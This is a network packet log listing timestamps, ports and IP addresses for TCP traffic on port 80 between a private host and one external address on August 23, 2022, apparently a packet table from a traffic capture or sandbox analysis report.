Aug 23, 2022 03:42:56.449353933 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.449376106 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.449420929 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.449460030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.449472904 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.449491024 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.449506044 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.449515104 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.449538946 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.449538946 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.449559927 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.449564934 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.449573994 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.449583054 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.449605942 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.449615955 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.449629068 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.449644089 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.449656963 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.449665070 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.449707985 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.449945927 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.449971914 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.449989080 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.449997902 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450021029 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450021982 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450046062 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450047016 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450066090 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450073004 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450083971 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450098038 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450110912 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450124979 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450134993 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450150013 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450174093 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450191975 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450197935 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450221062 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450248957 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450275898 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450299978 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450324059 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450344086 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450347900 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450371027 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450376987 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450402975 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450403929 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450423956 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450426102 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450439930 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450455904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450474977 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450480938 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450493097 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450505018 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450512886 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450532913 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450556040 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450572968 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450584888 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450762033 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450788975 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450809002 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450814962 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450838089 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450839043 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450858116 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450864077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450881958 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450889111 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450900078 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450913906 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450917959 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450938940 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450964928 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.450984955 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.450989962 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451013088 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451014042 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451040030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451049089 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451062918 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451071024 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451088905 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451107025 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451114893 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451138973 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451141119 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451158047 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451180935 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451186895 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451212883 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451225042 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451237917 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451252937 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451265097 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451284885 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451287985 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451293945 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451313019 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451329947 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451339006 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451370955 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451378107 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451385021 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451412916 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451425076 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451437950 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451462984 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451474905 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451486111 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451498032 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451508999 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451531887 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451558113 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451560974 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451577902 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451582909 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451607943 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451615095 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451632023 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451651096 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451657057 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451680899 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451687098 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451704979 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451725960 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451726913 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451750994 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451761961 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451771975 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451791048 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451797009 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451819897 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451828957 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451845884 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451864958 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451870918 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451895952 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451901913 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451920033 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451931000 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451945066 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451967001 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451970100 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.451992989 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.451993942 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452011108 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452019930 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452033997 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452045918 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452056885 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452069998 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452074051 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452095032 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452120066 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452147961 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452147961 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452172041 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452173948 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452198982 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452205896 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452224016 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452224970 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452244997 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452250004 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452270985 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452276945 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452290058 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452302933 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452310085 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452328920 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452353001 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452372074 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452378988 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452403069 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452404976 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452431917 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452435017 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452454090 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452455997 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452472925 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452480078 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452497005 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452507019 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452514887 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452531099 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452557087 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452574015 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452580929 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452601910 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452605963 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452629089 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452631950 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452651978 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452656984 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452671051 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452685118 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452692032 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452711105 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452733040 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452735901 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452750921 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452761889 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452769041 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452785969 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452805042 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452810049 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452822924 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452835083 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452840090 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452858925 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452883005 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452902079 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452905893 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452930927 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452931881 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452956915 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452958107 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.452981949 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.452985048 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453000069 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453016043 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453041077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453061104 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453064919 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453087091 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453089952 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453114986 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453116894 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453142881 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453142881 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453160048 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453167915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453177929 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453191996 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453212023 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453217030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453227997 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453243971 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453253984 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453294039 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453316927 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453341007 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453360081 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453365088 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453387022 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453388929 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453413010 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453414917 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453438997 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453439951 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453464985 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453465939 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453484058 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453490019 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453504086 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453512907 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453528881 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453537941 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453547955 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453562021 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453572035 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453587055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453603029 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453613997 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453622103 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453638077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453663111 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453687906 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453707933 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453712940 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453716040 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453736067 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453737974 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453759909 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453764915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453784943 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453804970 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453828096 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453830004 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453854084 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453860044 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453893900 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.453903913 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453929901 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453978062 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.453998089 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454022884 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454032898 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454049110 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454061031 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454073906 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454087019 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454098940 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454117060 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454128981 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454134941 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454153061 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454170942 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454178095 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454186916 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454202890 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454212904 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454230070 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454238892 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454255104 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454265118 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454279900 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454288006 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454303980 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454314947 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454329014 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454334974 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454355955 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454360962 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454380035 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454404116 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454420090 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454427958 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454448938 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454452991 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454478025 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454478025 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454497099 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454503059 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454514027 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.454549074 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.454571009 CEST	80	49792	135.181.104.248	192.168.2.4
